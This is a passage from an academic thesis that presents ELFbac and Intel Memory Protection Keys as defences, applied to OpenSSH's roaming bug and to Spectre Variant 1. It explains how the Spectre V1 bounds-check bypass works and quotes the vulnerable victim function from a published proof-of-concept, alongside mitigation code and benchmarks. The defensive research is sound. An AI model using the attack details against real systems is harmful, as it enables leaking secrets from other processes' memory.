tine must be made “heap-selective.” This requires the addition of a custom memory
manager; however, the only functionality that was used was that required to wrap
the existing buffer_init() function call found in OpenSHH’s buffer.c file. The wrap-
ping allows buffers to be initialized on the custom created heaps. Listing 5.2 shows
the necessary code changes required to wrap buffer_init(). Now, heap selection is
as simple as replacing a single function call. Only two files, authfile.c and packet.c,
required this selectivity.
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3 +buffer_arena_init(Buffer *buffer , enum arenas arena_idx) {
4 const u_int len = 4096;
5
6 buffer ->alloc = 0;
7 - buffer ->buf = xmalloc(len);
8 + buffer ->buf = xmemmgr_alloc(len , arena_idx);
9 buffer ->alloc = len;
10 buffer ->offset = 0;
11 buffer ->end = 0;




16 + buffer_arena_init(buffer , SHARED);
17 }
With a policy defined, all that remains is to annotate the necessary C-files within
OpenSSH to utilize the defined state heaps. These annotations take the form of a
common C-compiler pragma, __attribute__((section(...)), as seen below:
1 __attribute__ (( section (".bss.shared ")))
2 int debug_flag = 0;
In total, 27 annotations in 4 files were all that was necessary to achieve critical
isolation. Our complete EFLbac-based patch can be found online [166].
5.4 Spectre
We now transition to a case study involving recent microarchitectural vulnerabilities.
In early 2018, the first in the Spectre-class of attacks were released under CVE-
2017-5715 [128] and CVE-2017-5753 [129]. These two attack variants were dubbed
Bounds Check Bypass (BTI) and Branch Target Injection (BTI), respectively. The
disclosure of Spectre, a class of speculative execution attacks, revealed near-universal
flaws in the very foundations of modern computing architectures. Specifically, Spectre
demonstrated the existence of practical attacks that leverage speculative execution
and microarchitectural side-channels to leak potentially confidential information.
Exploiting this vulnerability, an attacker can trick a process into speculatively ac-
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Table 5.1: Overview of known Spectre-class vulnerabilities.
Class Variant Name
Spectre 1 Bounds Check Bypass (BCB) [129,161]
Spectre-NG 1.1 Bounds Check Bypass Store (BCBS) [135,158]
Spectre-NG 1.2 Read-only Protection Bypass (RPB) [135,158]
Spectre 2 Branch Target Injection (BTI) [128,161]
Meltdown 3 Rogue Data Cache Load (RDCL) [130,181]
Spectre-NG 3.a Rogue System Register Read (RSRR) [133]
Spectre-NG 4 Speculative Store Bypass (SSB) [132]
SpectreRSB Return Mispredict [167,186]
ZombieLoad Microarchitectural Data Sampling [250]
RIDL Rogue In-Flight Data Loads [293]
cessing arbitrary memory addresses, thus divulging potentially sensitive information,
including private key-material and passwords. In a sense, the process becomes its own
“confused deputy” [112], using its own authority and privileges to reveal data that
would be inaccessible during otherwise normal program execution. ELFbac allows us
to protect the program from itself by enforcing intraprocess memory isolation. Utiliz-
ing ABI-level policy enforcement, we recapture the privilege separation inherent in a
programmer’s mental model of scope and thus prevent unintended exposure through
Spectre.
Kocher et al. described these two attack variants, dubbed Bounds Check Bypass
(BCB) and Branch Target Injection (BTI), respectively, as well as hinted at ad-
ditional attacks based on return instructions, timing variations, and arithmetic unit
contention [161]. Indeed, as shown in Table 5.1, a wide variety of Spectre attacks
were subsequently discovered, called Spectre Next Generation (Spectre-NG) [273],
SpectreRSB [167], and ZombieLoad [250], each variant relying on some fundamental
microarchitectural components. Canella et al. recently proposed a new taxonomy for
this class of attacks, as well as additional attack variants [48].
In this section, I introduce the architectural optimizations that facilitate Spectre
attacks and review the specifics of Variant 1, Bounds Check Bypass (BCB). Memory
Protection Keys (MPKs) are recent extensions to Intel’s instruction set architecture
(ISA). MPKs perform a similar function to ELFbac, namely intraprocess memory
isolation; however, the focus is not on policy-based security. In the following sections,




In modern processors, out-of-order execution is an optimization that allows instruc-
tions within a pipeline to be executed out of order under the requirement that, later,
results are reordered and dependencies satisfied to assure proper execution semantics.
This technique reduces the stalls or wasted cycles from unused functional units inher-
ent to in-order processors. This out-of-order execution introduces an additional layer
of parallelism, and as a result, the processor may still encounter stalls when faced
with dependencies between multiple instructions. For example, branch instructions
that are conditioned on additional calculations or memory fetches must wait for the
resolution of any dependencies.
An additional processor optimization, speculative execution, depends on predicting
control flow and executing instructions prior to knowing if they are required. In the
case of a branch instruction, speculative execution may assume the condition will
be true, and thus begin execution of subsequent instructions. Of course, for correct
operation, the results of such instructions must only be committed once the branch
conditional has been verified. In the case of a misprediction, the instructions which
were speculatively executed must be voided or canceled in some manner, typically by
flushing the execution pipeline. This creates transient instructions, or instructions
that should not have been executed during the proper course of a program and whose
results should have no lasting effects on the architectural state of a processor.
5.4.2 Branch Prediction
Two-way conditionals have either a taken or not taken path of execution. Branch
prediction is a field of study dedicated to optimizing pipeline execution (i.e., reducing
pipeline stalls and flushes), based on guessing branch direction. Branch prediction
may be as simple as always assuming a branch will be true or false4, often called static
branch prediction because the prediction never changes. Dynamic branch prediction,
on the other hand, allows the processor to learn or at least remember the prior paths
taken of a branch. When first encountered, little may be known about a branch;
however, given sufficient examples, say a branch for {i = 0; i < 10000; i++},
a branch prediction scheme can change its prediction over time. Dynamic branch
predictors may be as simple as single-bit memories of the last branch taken or multi-
bit and multi-level predictors utilizing pattern history tables (PHTs). PHTs generally
4Some architectures allow compile-time hints from the programmer as to which direction a certain
branch should normally take.
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Listing 5.3: Spectre V1 Bounds Check Bypass. The assignment of temp may be illegal
or undesirable when speculatively executed.
16 uint8_t array1 [160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
17 uint8_t unused2 [64];
18 uint8_t array2 [256 * 512];
19
20 char *secret = "The Magic Words are Squeamish Ossifrage .";
21
22 uint8_t temp = 0; /* To not optimize out victim_function () */
23
24 void victim_function(size_t x) {
25 if (x < array1_size) {
26 temp &= array2[array1[x] * 512];
27 }
28 }
record the history of a given branch to allow future branches to be predicted based on
prior knowledge. More complex neural networks have also been designed to identify
long but regularly occurring branch patterns.
5.4.3 Spectre Variant 1
Exploits to branch prediction are not new [3, 4]. However, Spectre attacks showed
conclusively that speculative execution resulting in transient instructions could leave
microarchitectural clues useful in exploits. Kocher et al. provide a proof-of-concept
implementation of the Spectre Variant 1 Bounds Check Bypass (BCB) [161], which is
reproduced in Appendix A for the reader’s reference.5 In the remainder of this thesis,
I attempt to be consistent and concise by annotating this attack as simply V1.
As its colloquial name implies, V1 relies on the speculative bypass of bounds check-
ing. The bounds check shown in Listing 5.3 line 25, taken from the victim_function
of the Spectre PoC, is standard memory safe programming practice. The underly-
ing technique for V1 is to exploit the branch prediction by poisoning the PHT to
mispredict this conditional branch.
The branch predictor can be effectively trained by repeatedly providing valid values of
variable x, such that the condition always evaluates true, and the subsequent assign-
ment of variable temp is speculatively executed and properly committed. However,
after poisoning the PHT in such a manner, supplying an invalid value for variable x
results in the transient execution of the subsequent assignment to temp, and an out-
of-bounds memory access. However, before the pipeline can be flushed, data outside
array2 will have been cached, specifically including the secret variable declared on
5A more generalized and annotated version by Ryan Crosby can be found on GitHub [66].
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line 20 of the PoC. Once the data is held by the cache, the game is over. Various
side-channel attacks exist to extract data or at least information about data from
caches, e.g., cache timing and access driven attacks.
5.4.4 Memory Protection Keys
In 2018, Intel released an ISA extension to its x86 processors known as Memory
Protection Keys (MPKs) [137]. Using these keys, we can tag any virtual page with
a 4-bit ID, that denotes a domain in the program’s address space. This allows users
to tag virtual pages of the user’s process to one of the 16 security domains available.
The user can change the page permissions based on the state of the program using
a user-mode instruction, WRPKRU, that does not require a TLB flush, hence incurring
less overhead than the current implementation of ELFbac.
The WRPKRU instruction uses the register PKRU that is local to each CPU core. These
PKRU checks are in hardware and hence have a very low overhead. We leverage the
support introduced by the Linux kernel for MPKs. The kernel implements syscalls to
encapsulate the WRPKRU instructions. Figure 5.7 shows the page table entries in the
Linux kernel. The bits 59 through 62 in the page table entries point to the memory
domain. The PKRU register holds two-bit values for each memory domain specifying
if the process can read or write the pages in the memory domain.
Vahldiek-Oberwagner et al. proposed ERIM [291] to enable data isolation within
a process using MPKs. Their contribution was using control-flow integrity, binary
rewriting, and binary inspection to prevent attackers from jumping the instructions
meant to switch memory domains. Hedayati et al. isolated userland libraries using
MPKs [114], while MemSentry [165] provided a general framework to isolate data
sections. Unlike previous work, in this paper, we show how intraprocess memory
isolation can be effective against attacks using transient read instructions.
There are some stark differences between ELFbac’s intraprocess memory isolation
and MPKs. First, ELFbac handles state transitions in the kernel. It makes sure
that the state transition was triggered at the right location. MPKs, on the other
hand, handle state transitions via a userland instruction. Although this instruction is
fast, it can be bypassed by an adversary since the checks do not occur in the kernel.
ELFbac makes the additional checks that are required while using MPKs redundant.
Second, ELFbac uses an unsigned 8-bit integer to denote the memory domain or
state, whereas MPKs only support 4 bits. Finally, the PKRU register only takes 2-bit
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Figure 5.7: Linux page table entry structure. (a) The structure of page table entries in
Linux. In this image, the bits 59 through 62 is set to point to memory domain 3. (b)
The structure of the PKRU register. The permissions, read or write, for each domain
is signified by a 2 bit value. Domain 3 pointed to by Figure 4 (a), has permissions
read and write set.
values—read and write. ELFbac goes beyond this by also checking if code sections
are executable. MPKs allow access control on data only.
5.4.5 Prior Approaches to Mitigation
Most patches for V1 suggest serialization as the solution, namely adding the lfence
or mfence instructions wherever transient instructions may result in leaks. These in-
structions prevent any following instructions from executing before all the instructions
before have completed [10,131,158]. In large codebases, this presents two challenges.
First, the programmer needs to identify precisely which code paths could lead to
speculative loads, and then to add lfence instructions in those paths. Researchers
have built tools to aid in this task, and it is an ongoing research area. Wang et al.
presented oo7, a tool to detect 15 Spectre-vulnerable programming patterns [298].
Similarly, Disselkoen et al. developed the tool to detect Spectre V1, V1.1, and V4 in
code using symbolic execution [50]. The tools are only as useful as the patterns they
are designed to defend against and take a long time to run. For example, to evaluate
oo7, Wang et al. ran experiments for over 100 hours.
Second, the lfence instruction prevents any speculative instructions from executing
















































Figure 5.8: State machine of the ELFbac mitigation for Spectre V1. The secret is
accessible via policy in the init state, but not the go state. No return transition exists
between go and init.
able performance hit considering many branches use array operations, and data could
still be speculatively loaded into the cache if these instructions are not placed in the
right locations in the code.
SpectreGuard [92] is the closest prior work to our techniques. Fustos et al. add an NS
bit to the page-table entry. They keep the data fetched from a location marked as NS
in the reorder buffer and do not forward the data directly to dependent instructions.
Instead, they wait for all the prior branch instructions to complete, and only then
forward the data to the dependent instructions. ConTExT [249] also uses a similar
technique and adds a non-transient bit to the page-table entries. They also add a
non-transient bit per register to track the registers that are storing secret values to
ensure they are not leaked via transient execution.
Our work differs from these two prior works in terms of technique. Both SpectreGuard
and ConTExT require a programmer to specify a particular memory address as non-
transient. However, ELFbac allows the user to specify the relationships between
code and data, such as which functions within the program can read or write to the
memory addresses marked as secret. ELFbac and MPK-based isolation techniques can
give more fine-grained and generalizable control to users allowing transient execution
within a particular state of the program, but not across different states.
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Listing 5.4: Using the attribute syntax in gcc to isolate secret.
1 char * secret __attribute__
2 (( section (" secretsec "))) =
3 "The Magic Words are
4 Squeamish Ossifrage .";
Listing 5.5: Using a separate assembly file to isolate secret.
1 .section secretsec
2 secret: .string "The Magic Words
3 are Squeamish Ossifrage .";
4 mov secret , %rax
5.4.6 Building Policies for Spectre
The PoC included in Appendix A showcases the V1 exploit successfully extracting a
secret variable, declared on line 20, from the cache as a result of transient cache loads.
Intuitively, the goal of any mitigation should be to protect secret from unintended
access. ELFbac allows just such intraprocess isolation with very few code changes.
Figure 5.8 shows a minimal policy FSM in which secret is readable and writable
during init ; however, becomes inaccessible once a transition to go occurs.
We can isolate secret by placing it in a separate ELF section. This can be done
using the following techniques: (1) The GNU Compiler Collection’s C compiler (gcc)
includes the attribute syntax. Using the __attribute__ directive, one can specify
the ELF section in which to place a variable or function. An example of this is shown
in Listing 5.4. Or (2), using a separate assembler file (“.S” file) to place the secret in
it. The C code would include a line to declare the variable, but not allocate memory
for it using the extern keyword. We will allocate memory for the variable using the
assembler file. This is shown in Listing 5.5.
Now that secret has been isolated, it remains to implement the FSM shown above
in Figure 5.8. The ELFbac policy, written in the DSL, can be found in Listing 5.6.
We separate our program into two states. The init state, and the go state. In the
init state, the program initializes all the variables and enters the main function. We
moved the rest of the code from the main function to another function go to trigger
a state transition.
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Listing 5.6: ELFbac policy used to mitigate the effects of Spectre V1. The DSL
makes use of keywords such as state, start, readwrite, and exec to provide a fine-
grained mechanism for enforcing permissions on code and data sections.
1 Elf:: rewrite(ARGV [0]) {|file|
2 Elf:: Policy.inject_symbols(file)
3 x = Elf:: Policy.build do
4 tag :secret do
5 section ‘secretsec ’
6 end
7 tag :go do
8 symbol ‘go ’
9 end













23 start ‘init_state ’
24 end
Listing 5.7: Page boundary alignment necessary for ELFbac.
1 int main (int argc , const char * * argv) __attribute__ (( aligned (4096)));
The final code modification required to enable the PoC to run with the ELFbac
kernel is an addition to function definitions. We force the functions to be page-
aligned to 4096 byte-boundaries, allowing us to place them in a separate section and
enforce permissions on the section. Again, this can be done with the attribute syntax
available in gcc, as shown in Listing 5.7.
5.4.7 How does ELFbac mitigate Spectre V1?
We can now step through the execution of the PoC with the ELFbac policy included.
Following Figure 5.9, the init state initializes all variables, including secret. When
assigning a variable, the MMU first checks the TLB for the PTE corresponding to the
virtual address requested, as shown in Figure 5.3. Since this is the first access, the
page tables must be walked to fill the cache and TLB [107], during which time the
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Figure 5.9: Execution model for ELFbac mitigation of Spectre V1. Once in the
go state, any attempt to access secret, even speculatively, results in a page fault
exception and the prevention of any caching.
access. Because of the function-page alignment, to transition to the go state triggers
a page fault, and again the ELFbac fault handler validates the transition between
init and go states. The go state includes the victim_function of the PoC, which
allows the potentially revealing speculation. However, when the go state is entered,
any memory pages containing the secret are marked as inaccessible and related caches
are flushed. When the secret is requested during the go state, the page fault handler
must be invoked in order to have any chance at memory access. The offending access
instructions will trigger exceptions, which will be marked in the corresponding reorder
buffer (ROB). Because transient instructions are never committed, the page fault will
never be realized; however, this mechanism occurs early enough in the pipeline access
that caching of the secret is prevented.
Hence, ELFbac successfully mitigates V1. For additional validation, we created a
second policy that allows the transient cache loads to succeed; this policy can be
found in Listing 5.8. Here, we only use a single state, and provide explicit read and
write access to secret.
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Listing 5.8: ELFbac policy to explicitly allow Spectre V1.
1 Elf:: rewrite(ARGV [0]) {|file|
2 Elf:: Policy.inject_symbols(file)
3 x = Elf:: Policy.build do





9 start ‘main ’
10 end
11 x.inject(file)
5.4.8 Mitigating Spectre V1 with MPKs
Unlike ELFbac, MPKs do not use policies. In the PoC included in Appendix A, the
secret that is leaked due to transient cache loads, is assigned as a global variable6.
Unlike their assignment or ELFbac’s technique of placing the global in a separate
section, we use mmap to assign a new page for the data, and impose permissions on
these pages.
In Listing 5.9, we see this mmap operation on line 2, and the data is placed in the
location on line 3. We then use MPKs to revoke all permissions for this page. The
portions of the code in the PoC that follow cannot access this memory anymore, and
the transient loads fail due to a lack of permissions.
To test the soundness of our approach, we also build a PoC where we allowed Spectre
to succeed. By simply changing the permissions of line 4 in Listing 5.9 to PROT_READ,
we explicitly allow the attack. We use MPKs to say that after the assignment, the
program can access and use the variable secret. As we mentioned earlier, the code
does not directly touch this variable, but only touches it via a transient execution
path.
Listing 5.9: Disabling Reads or Writes to the secret using MPK permissions.
1 char * secret; // this variable is still defined as a global outside of main
2 secret = mmap(NULL , getpagesize (), PROT_WRITE | PROT_READ , MAP_ANONYMOUS |
MAP_PRIVATE , -1, 0);
3 strncpy(secret , "The Magic Words are Squeamish Ossifrage.", 40);
4 int real_prot = PROT_NONE;
5 int pkey = pkey_alloc (0, PKEY_DISABLE_WRITE);
6 int ret = pkey_mprotect(secret , getpagesize (), real_prot , pkey);
6For the proofs-of-concept, global variables have been used for convenience. However, the use
of global variables is generally considered controversial and bad software development practice at
best. Nothing intrinsic to ELFbac or MPKs limits their utility to global variables. In fact, both
techniques are general and applicable to any data within a process’s address space.
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5.4.9 Evaluation
Intraprocess memory isolation with ELFbac or MPKs requires identifying all the se-
crets the program has, to protect them from other code in the same address space
that does not need access. Generally, there may be fewer critical security elements
than potential speculative branches within a codebase. ELFbac does incur a perfor-
mance cost for checking permissions by triggering page faults for first accesses. We
argue that the ultimate performance hit incurred by a program using ELFbac depends
on the number of state transitions leading to TLB and cache flushes. Often secrets
need only be checked once at the beginning of program execution, e.g., passwords
and certificates. This naturally limits the state transitions to some initial context.
Additionally, ELFbac is not just a V1 mitigation, but a mitigation against a variety
of intraprocess memory attacks.
In our evaluation, we answer four questions:
• Is intraprocess memory isolation effective against Spectre V1?
• What is the programmer effort required to build a policy for ELFbac and to
modify the existing source code? How does ELFbac compare in terms of pro-
grammer effort to other mitigation techniques against Spectre V1?
• What is the performance impact due to ELFbac and MPKs in comparison to
other mitigations?
• What is the performance impact ELFbac adds on other real-world applications?
Intraprocess Memory Isolation vs. Spectre V1. We constructed two ELFbac
policies for the Spectre PoC and built two modifications of the V1 PoC to allow and
disallow V1 using MPKs. First, we built a policy allowing the program to access the
secret, allowing the attack to succeed. As shown in Listing 5.8, the policy comprises
one state that can access memory and code across the entire ELF binary’s address
space. Since this program can access the secret, the attack succeeds.
Next, we built a policy mitigating the attack. This policy, shown in Listing 5.6,
comprises two states. In the first state, the init state initializes all the global variables
and hence needs access to the secret. It does not, however, need access to the secret
after the initialization phase. The policy revokes access to the secret in the second
state, the go state. This state can access code in its state and access other global
variables, but not the secret. Empirically, both the ELFbac policies functioned as
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Table 5.2: A comparison of the number of lines of code added to instrument the
Spectre proof-of-concept (PoC) to mitigate it.
Lines of Code (LoC) added for: ELFbac MPKs
Original Spectre V1 PoC 3 5
Policy code in DSL 33 0
expected.
We took a similar approach to use MPKs. We constructed two versions of the PoC
using MPKs—the code we added and modified is in Listing 5.9. We placed the secret
in a separate page and revoked all permissions to the page after the assignment. V1
fails to execute since the secret cannot be accessed by the speculative branch. We
then allowed access to the secret and saw that the V1 attack ran successfully.
Programmer Effort. To understand the effort it would take a programmer to
instrument an existing program binary with ELFbac, we measure the number of lines
of code required to implement the policy in a DSL using Ruby. We also measure the
number of lines we had to add to the C source code, in comparison to other mitigation
strategies against V1.
Table 5.2 shows that we had to add just three lines of code to the Spectre PoC C
program, and had to add just 33 lines of code as a policy to be enforced by the
ELFbac-enhanced kernel. We argue that these are reasonable costs in comparison to
the benefit—resilience to intraprocess memory attacks.
Utilizing serializing instructions, such as lfence, only requires a single line of code;
however, this needs to be added to every instance of code that may be speculatively
executed. In large code projects, this may be entirely prohibitive. Unfortunately, it
is not as simple as just grep’ing for if-statements.
It has previously been shown that on a large, modern codebase of nearly 100,000
source lines of code (SLOC), successful isolation of sensitive data could be achieved
with only 27 annotations [143].
The process of building ELFbac policies can include a lot of trial and error. Developers
start with a simple one-state policy, and gradually go on to build more complex
policies that reflect their intentions better. As mentioned earlier, the first step must be
to identify which data sections include sensitive data and isolate these data sections.
The next step is to understand how the code interacts with the data, and understand
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Table 5.3: Performance comparison of ELFbac mitigation with the Spectre PoC. We
ran each of these experiments for 100 runs and computed an average.
Page Context Time State
Faults Switches Elapsed Transitions
Original Spectre PoC 170 88 0.01s NA
lfence solution 170 89 0.02s NA
Spectre V1 exploit
with ELFbac Policy 1 304 86 0.01s 0
Spectre V1 exploit
with ELFbac Policy 2 320 92 1.31s 1
Spectre V1 mitigation
with ELFbac Policy 2 320 98 1.36s 1
Spectre Allowed with MPKs 92 83 0.02s NA
Spectre V1 mitigation with MPKs 92 83 0.01s NA
which code sections need to access the sensitive data, and at what phases of the
program’s lifecycle.
We also measured the number of lines of C code we had to add to the Spectre PoC to
use MPKs. We had to convert the assignment to an mmap syscall, and we then had to
assign this page to a memory domain. The next step was to specify the permissions
on the memory domain. These steps on the whole only needed adding five lines of
code. In a realistic scenario, each secret would have to be placed in its own page and
would only be accessed from specific portions of the code.
Performance. We divided our performance evaluation into two parts. First, we
implemented and tested our policy on two different CPUs, running an Intel Xeon
E31245 3.30 GHz processor with four cores and 4GB RAM and an Intel Xeon Plat-
inum 8168 instance on Microsoft Azure Cloud with support for MPKs with one core
and a 2GB RAM. All our ELFbac experiments ran on the Intel Xeon E31245 pro-
cessor, whereas our MPK experiments ran on the Azure instance. We measured the
additional time incurred because of our policy in both cases and compared it to the
case of only adding lfence instructions to source code in all the if conditionals. Our
results are in Table 5.3.
ELFbac unmaps all the pages and triggers hard page faults whenever any page is
accessed. Our page fault handler then checks the permissions of the page before
loading it. On line 4 of Table 5.3, we built an ELFbac policy (Policy 2) to provide
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Table 5.4: Performance comparison of ELFbac with simple C programs. We ran each
of these experiments on our Intel Xeon processor and computed an average over 100
runs.
Application Page Faults Context Switches Number
No Policy Policy No Policy Policy of States
Simple Policy 23 24 2 3 2
Stack Copy 23 25 2 3 2
Course-grained Policy 25 27 7 9 2
Arithmetic Operations 22 23 73 74 3
Parsing Operations 22 23 2 3 2
Arithmetic Operations with
large malloc operations 23 24 43 48 3
access to the secret. We revoked access to the same two-state policy, which is now an
ELFbac mitigation.
We see that when there are state transitions, there is a performance hit. More page
faults do occur; however, only a handful given by our first calculations based on states
within a policy. Additionally, the time delta between ELFbac-enhanced versions and
the original is minimal. Given the resilience to intraprocess memory attacks, we
argue that this performance hit is acceptable. In previous work with OpenSSH to
mitigate the roaming bug, Jenkins et al. required just one state transition [143].
It is also worth noting that lfence solutions require special instructions prior to
every potential speculative execution; whereas, ELFbac policies need only specify
the security-sensitive code and data. In the case of lfence failure, i.e., missing a
vulnerable speculative code section, the entire process memory space is vulnerable.
However, using ELFbac, failure of adequate policy still protects the specified areas of
process address space.
In the second portion of our performance evaluation, we evaluated the overheads
incurred due to ELFbac to some simple applications that do various tasks ranging
from parsing input to allocating large chunks of memory.
We see in Table 5.4, that in all our applications, we found that with ELFbac, there
were at most two additional page faults. ELFbac does force additional context
switches, but this is only so that the kernel can ensure that the program has the
correct permissions to jump to locations. The table shows that ELFbac introduces
minimal overhead in terms of additional context switches and page faults.
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To evaluate the overheads in the MPK-based mitigation of the Spectre V1 attack, we
ran the perf tool on our two implementations on the Azure instance. One that allowed
the attack through, and another that mitigated the attack by revoking permissions.
The last two lines in Table 5.3 show the results of these experiments. We ran our
experiments 100 times via perf and reported the averages. We see that using MPKs
did not incur any additional page faults in comparison to the original PoC. We also
see the number of page faults and context switches is drastically better in comparison
to ELFbac since the page table permission checks are in hardware, and not handled
by the kernel via a custom page-fault handler.
5.5 Conclusions
In this chapter, we looked at intraprocess memory isolation and programmer intent.
Mismorphisms between a programmer’s mental model of software and actual program
execution lead to vulnerabilities. Unintended computation due to such vulnerabili-
ties results in exploitation. Explicitly codifying programmer intent into policy allows
enforcement mechanisms to prevent exploits. Prior research in our lab introduced
ELFbac as a technique for specifying intent via kernel enforceable policies. I intro-
duced ELFbac and demonstrated its power and flexibility in mitigating two real-world
software vulnerabilities, namely, the roaming bug found in OpenSSH and Variant 1
of Spectre.
There is a publicly available software patch to OpenSSH version 6.4p1 [166]. This
patch is minimal in lines of code and allows the desired and necessary memory isola-
tion between the network and cryptographic code sections. In addition, an ELFbac
policy is provided that defines the desired intraprocess isolation that an OpenSSH
programmer would have intended initially; that is, a separation between code that
handles network connections and code that handles private authentication keys. The
linker, loader, and kernel mechanisms of ELFbac work together to enforce this ideal
scoping. Were these principles to have been utilized at design time, this unintended,
experimental roaming feature could never have been weaponized and may have been
identified sooner.
Additionally, most methods to mitigate Spectre V1 suggest identifying problematic
areas in the code and adding instructions such as the lfence instruction. Modern
software development requires a fine-grained access-control mechanism that restricts
access to code and data within an address space. Intraprocess memory attacks are
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one of the most common attacks used to gain control of machines. I presented a
technique to build software resilient to Spectre V1 and other intraprocess memory
attacks.
Programmers can use ELFbac to upgrade their existing code base with very minimal
effort identifying the data and the code that needs to be resilient to any leakages and
compromises. I presented our implementations and compared it to other available
methods and argued that the benefits of using intraprocess memory isolation outweigh
the cost.
ELFbac shows tremendous promise as a mitigation tool. Many methods exist to
identify and enforce privilege separation. However, ELFbac allows complex policies
to be written in a simple to understand, commonly used syntax at the ABI level, with
minimal changes to an underlying codebase. At design-time, policies are easily built
and incorporated from a programmer’s intimate understanding of scope. In addition,
enforcement takes place within the kernel, utilizing the existing framework of virtual
memory management.
In general, ELFbac policy creation should take place during development. The pro-
grammer is best suited to create policy based on the domain knowledge and mental
model already guiding the rest of the development. Identifying code paths or data
segments that must be isolated is already a priority. ELFbac policy captures the pro-
grammer’s intent to isolate security-critical sections within a program and enforces
the boundaries presumed by the standard scoping model. Were ELFbac policy to
have been utilized as a part of the OpenSSH development process, this roaming vul-
nerability would never have seen the light of day. Using policy to reclaim and enforce
programmer intent for intraprocess interactions mitigates an entire class of bugs that
depend on manipulating the broad interactions of code and data within a process.
As shown above, it is possible with minimal effort to retrofit an ELFbac policy into
existing software. The process for doing this is mostly one of intuition. It is tempting
to begin with the policy definition; however, in practice, it is likely infeasible to
isolate every third-party library, function, and shared memory array. Familiarity
with a codebase is essential to understand potential areas of vulnerability. Not every
code path will be vulnerable, and not every piece of data is critical to an application’s
security. So, the first step to ELFbac policy creation is to identify what needs to be
isolated.
The following step is to decide how isolation can be achieved. There may be no single
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answer at this stage. It is essential to identify the default behavior of an application,
e.g., which external libraries are being loaded and where they are being used. Typical
areas of concern may be input processing or memory buffers. As with OpenSSH’s
roaming bug, and so many other famous vulnerabilities, mistakes in input processing
and buffer control can spiral into a multitude of unintended computations. Equipped
with the knowledge of what needs to be isolated, a starting place may be a simple grep
to identify relationships between an area of interest and functions, files, or libraries.
Once relationships are identified, they must be codified into policy.
ELFbac only permits explicit relationships. As a result, policy creation can be an
iterative process. Beginning with a simple set of states and relations, and refining
acceptable transitions based on varied inputs and code paths. Unfortunately, this
process is not currently automated.
Future Work
The attacks considered in this thesis are limited to intraprocess memory attacks.
Canella et al. have proposed inter-process Spectre attacks [48], which should lead
to much exciting research; however, the goal of ELFbac and MPKs is to secure the
process address space from within. Therefore, we consider these types of attacks out
of scope.
However, we do not believe that ELFbac’s mitigations are limited to V1 attacks.
Spectre version 1.1, the Bounds Check Bypass Store (BCBS), is also an intraprocess
memory attack [158]. It uses the same technique as Spectre V1 but writes to the arrays
instead of reading from them, causing buffer overflows. Additionally, SpectreRSB uses
a speculative gadget that is written in x86 assembly to pop return values from the
software stack [167]. The software stack is distinct from the Return Stack Buffer. The
Return Stack Buffer (RSB) is hardware that stores the return addresses whenever the
CPU makes a call instruction. In SpectreRSB, there is a mismatch between the state
of the software stack and the RSB. The program miss-speculates and fetches the
return value from the RSB (which holds the value it acquired from the speculative
gadget). Our policy-based solution will prevent the SpectreRSB proof-of-concept
within a single process. The SpectreRSB attacks exploiting multiple processes and the
Intel SGX, however, are not in the scope of ELFbac that targets intraprocess memory
attacks. We believe it would be non-trivial to use MPKs to prevent SpectreRSB since
it would require placing page-table permissions on the RSB using userland code.
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Although the SWAPGS attack is a variant of V1 [286], the attack allows attackers to
gain access to kernel data structures when the process transitions from user to kernel
mode. Fine-grained permissions in kernel memory do not fall under the current scope
of ELFbac or MPKs.
Modern software development is a mix and mash of black-box pieces arranged in
often precarious ways to achieve some ad hoc functionality. ELFbac’s mitigations
are as good as the modularity of a program. In fact, ELFbac is a simple mechanism
of enforcing the intents expressed by a program’s modularity. While retrofitting
software with ELFbac policy is not ideal, we have shown it feasible with minimal
mental overhead. Library writers may find ELFbac an ideal method of isolating
the internals of their code from its consumers. Similarly, application programmers
can utilize ELFbac to more precisely specify the interactions of their code with that
of utilized libraries. In this mutually-distrusting view of software development, the
developers of each black-box component may define their own policies. Managing
these various policies and their interactions is a challenging but interesting task that
we leave for future work.
Much of security policy has been predicated on the assumption of capabilities provided
by hardware, namely memory isolation enforced by the processor and MMU. Page
tables have typically been regarded as only a bookkeeping optimization. The contents
of the page tables themselves were not considered policy objects, but rather artifacts
in the mechanism of policy enforcement. Security policies may dictate access controls
within a page table, but not the contents of the page table itself. ELFbac changes
this paradigm by considering page tables as first-class objects of security policy and
using the existing page table mechanisms to isolate intraprocess memory.
As with any security primitive, there is likely to be a trade-off between performance
and security. Analyzing the performance impact of ELFbac is situationally dependent
on the software that is being protected, the hardware on which it is run, and the
granularity at which the desired policy is implemented. Naturally, repeatedly forcing
many heavy context switches will result in a significant performance penalty. In
previous case studies, we have seen the performance degradation be as low as 3% with
libpng on an AMD system and as high as 30% with Nginx on an Intel system [33].
With software like OpenSSH, the performance bottleneck is bounded by the user
interaction; otherwise, the performance hit should be negligible. Clearly, however,
there is significant room for performance optimizations to ELFbac mechanisms.
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There is continuing work to address some shortcomings of the current version of
ELFbac. Work remains to further ease the burden of intuition in policy creation.
Additional tooling with techniques from static analysis, such as data and control flow
analysis, may help understand the relationships inherent in extant software. Others
are working on tools to extract the control-flow graph using LLVM-IR. The control-
flow graph includes the functions called, as well as the variables accessed by the
functions. Functions can then be grouped into states according to accesses of the
same set of variables. A minimal state machine can then be built and presented
to a user for additional feedback. If the user sees that they do not need to access a
variable from a particular state, access can be revoked to that variable from the state.
Additionally, a model of the state machine policy and the control-flow graph can then
be fed into formal model checkers to verify what states and data are accessible, and
where potential mismorphisms might hide.
In this chapter, I introduced MPKs in mitigating Spectre V1. This version would be
considerably faster in comparison to the current version, that incurs hard page faults
as well as TLB flushes during state transitions. The key challenges here are two-fold:
since MPKs only provide four bits, we can only have at most 16 states. For complex
programs such as browsers and servers, 16 states may not be enough. We are using
static analysis and control-flow analysis to figure out which states to use MPKs for,
and which states are less likely to occur, and we can use page-faults and TLBs for
them. Second, MPKs use userland instructions. We will use it in conjunction with
other control-flow integrity techniques to make sure that attackers cannot execute
the instruction on their own. Another critical challenge is that MPKs support only
two bits per domain, specifying if a page has read or write permissions. ELFbac also
supports the executable permission—we need to make use of the unused bits in page
tables to enable this additional feature.
Finally, further research remains in considering a program’s attack surface when im-
plementing an ELFbac policy. Consider a process containing some vulnerability,
speculative or otherwise. Given a policy that isolates security-critical code and data,
there is still a possibility for exploitation within a state. That is, within a security-
critical ELFbac state, there may be vulnerabilities that exploit the code within that
section. ELFbac does not eliminate vulnerabilities as such, but we believe it can be
used to reduce the attack surface effectively. This allows developers and auditors to
consider only the security-critical code and data, a potentially much smaller target
than a complete process.
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Chapter 6
Network Analysis and Intrusion
Detection
